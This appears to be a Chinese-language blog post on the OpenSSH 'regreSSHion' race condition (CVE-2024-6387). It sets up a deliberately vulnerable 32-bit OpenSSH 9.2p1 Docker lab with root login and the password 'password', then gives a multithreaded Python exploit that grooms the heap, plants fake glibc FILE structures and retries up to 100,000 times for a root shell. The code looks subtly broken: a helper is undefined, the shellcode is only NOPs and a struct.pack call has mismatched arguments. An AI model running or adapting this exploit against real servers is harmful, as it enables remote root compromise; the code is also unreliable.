0.省流

这本质上是一种统计漏洞:需要进行大量尝试才能赢得竞争条件并成功执行任意代码,攻击者需要克服很多障碍,”Schwartz 告诉SecurityWeek。“即使在最好的情况下,最著名的漏洞也需要 4 个多小时才能运行。”

在OpenSSH 9.8 的发布说明中,开发人员指出该漏洞仅在基于 glibc 的 32 位 Linux 系统上得到证实,并指出 OpenBSD 不受影响。

1.环境搭建

环境搭建采用Docker

1.1.编写Dockerfile

FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
    build-essential \
    wget \
    curl \
    libssl-dev:i386 \
    zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
    tar -xzf openssh-9.2p1.tar.gz && \
    cd openssh-9.2p1 && \
    ./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
    sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
    echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
    chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]

1.2.构建镜像

sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .

1.3.运行Docker容器

sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1

1.4.确认ssh 服务运行

docker exec -it vuln-ssh-32bit /bin/bash
ps aux | grep sshd

2.漏洞验证

2.1.C.poc

公网有了一个,但是需要编译,代码附在相关链接里了。我改成了python的,增加了多线程并发,提高攻击速度。并加了运行次数为10万次,攻击成功后退出。

2.2.python-poc

import socket
import time
import struct
import random
import os
from threading import Thread, Lock

MAX_PACKET_SIZE = 256 * 1024
LOGIN_GRACE_TIME = 120
GLIBC_BASES = [0xb7200000, 0xb7400000]
NUM_GLIBC_BASES = len(GLIBC_BASES)

shellcode = b"\x90\x90\x90\x90"  
attempts_lock = Lock()
attempts = 0
max_attempts = 100000
success = False

def setup_connection(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setblocking(False)
    try:
        sock.connect((ip, port))
    except BlockingIOError:
        pass
    return sock

def send_packet(sock, packet_type, data):
    packet = struct.pack('>I', len(data) + 1) + struct.pack('B', packet_type) + data
    send_all(sock, packet)

def send_all(sock, data):
    total_sent = 0
    while total_sent < len(data):
        try:
            sent = sock.send(data[total_sent:])
            if sent == 0:
                raise RuntimeError("socket connection broken")
            total_sent += sent
        except BlockingIOError:
            time.sleep(0.01)  

def send_ssh_version(sock):
    ssh_version = b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n"
    send_all(sock, ssh_version)

def receive_ssh_version(sock):
    try:
        response = sock.recv(256)
        print("Received SSH version:", response)
        if b'Exceeded MaxStartups' in response:
            return False
        return True
    except BlockingIOError:
        return False

def send_kex_init(sock):
    kexinit_payload = b'\x00' * 36
    send_packet(sock, 20, kexinit_payload)

def receive_kex_init(sock):
    try:
        response = sock.recv(1024)
        print("Received KEX_INIT:", len(response), "bytes")
        return True
    except BlockingIOError:
        return False

def perform_ssh_handshake(sock):
    send_ssh_version(sock)
    if not receive_ssh_version(sock):
        print("Failed to receive SSH version")
        return False
    send_kex_init(sock)
    if not receive_kex_init(sock):
        print("Failed to receive KEX_INIT")
        return False
    return True

def prepare_heap(sock):
    for _ in range(10):
        tcache_chunk = b'A' * 64
        send_packet(sock, 5, tcache_chunk)

    for _ in range(27):
        large_hole = b'B' * 8192
        send_packet(sock, 5, large_hole)
        small_hole = b'C' * 320
        send_packet(sock, 5, small_hole)

    for _ in range(27):
        fake_data = create_fake_file_structure(GLIBC_BASES[0])
        send_packet(sock, 5, fake_data)

    large_string = b'E' * (MAX_PACKET_SIZE - 1)
    send_packet(sock, 5, large_string)

def create_fake_file_structure(glibc_base):
    data = b'\x00' * 4096
    fake_file = struct.pack('P' * 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x61, glibc_base + 0x21b740, glibc_base + 0x21d7f8)
    return data[:0x4c0] + fake_file + data[0x4c0 + len(fake_file):]

def time_final_packet(sock):
    start = time.time()
    measure_response_time(sock, 1)
    end = time.time()
    return end - start

def measure_response_time(sock, error_type):
    if error_type == 1:
        error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
    else:
        error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
    send_packet(sock, 50, error_packet)
    start = time.time()
    try:
        sock.recv(1024)
    except BlockingIOError:
        pass
    end = time.time()
    return end - start

def create_public_key_packet(glibc_base):
    packet = b'\x00' * MAX_PACKET_SIZE
    offset = 0
    for _ in range(27):
        packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(4096)) + packet[offset + 4:]
        offset += CHUNK_ALIGN(4096)
        packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(304)) + packet[offset + 4:]
        offset += CHUNK_ALIGN(304)
    packet = packet[:0] + b"ssh-rsa " + packet[8:]
    packet = packet[:CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13] + shellcode + packet[CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13 + len(shellcode):]
    for i in range(27):
        packet = packet[:CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i] + create_fake_file_structure(glibc_base) + packet[CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i + len(create_fake_file_structure(glibc_base)):]
    return packet

def attempt_race_condition(sock, parsing_time, glibc_base):
    final_packet = create_public_key_packet(glibc_base)
    send_all(sock, final_packet[:-1])
    time.sleep(LOGIN_GRACE_TIME - parsing_time - 0.001)
    send_all(sock, final_packet[-1:])
    try:
        response = sock.recv(1024)
        if response and response[:8] != b"SSH-2.0-":
            print("Possible hit on 'large' race window")
            return True
    except BlockingIOError:
        pass
    return False

def perform_exploit_thread(ip, port, glibc_base):
    global attempts
    global success

    while not success:
        with attempts_lock:
            if attempts >= max_attempts:
                break
            attempts += 1
            attempt = attempts

        print(f"Attempt {attempt} with glibc base 0x{glibc_base:x}")
        sock = setup_connection(ip, port)
        if not perform_ssh_handshake(sock):
            print(f"SSH handshake failed, attempt {attempt}")
            sock.close()
            time.sleep(0.5) 
            continue
        prepare_heap(sock)
        parsing_time = time_final_packet(sock)
        if attempt_race_condition(sock, parsing_time, glibc_base):
            print(f"Possible exploitation success on attempt {attempt} with glibc base 0x{glibc_base:x}!")
            success = True
            break
        sock.close()
        time.sleep(0.5)  

def perform_exploit(ip, port):
    global success
    threads = []
    for glibc_base in GLIBC_BASES:
        for _ in range(10): 
            t = Thread(target=perform_exploit_thread, args=(ip, port, glibc_base))
            threads.append(t)
            t.start()

    for t in threads:
        t.join()

    return success

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <ip> <port>")
        sys.exit(1)
    ip = sys.argv[1]
    port = int(sys.argv[2])
    if perform_exploit(ip, port):
        print("Exploit succeeded")
    else:
        print("Exploit failed")

你就打吧,打到猴年马月就获取到rootshell了。

1.https://github.com/passwa11/cve-2024-6387-poc/blob/main/7etsuo-regreSSHion.c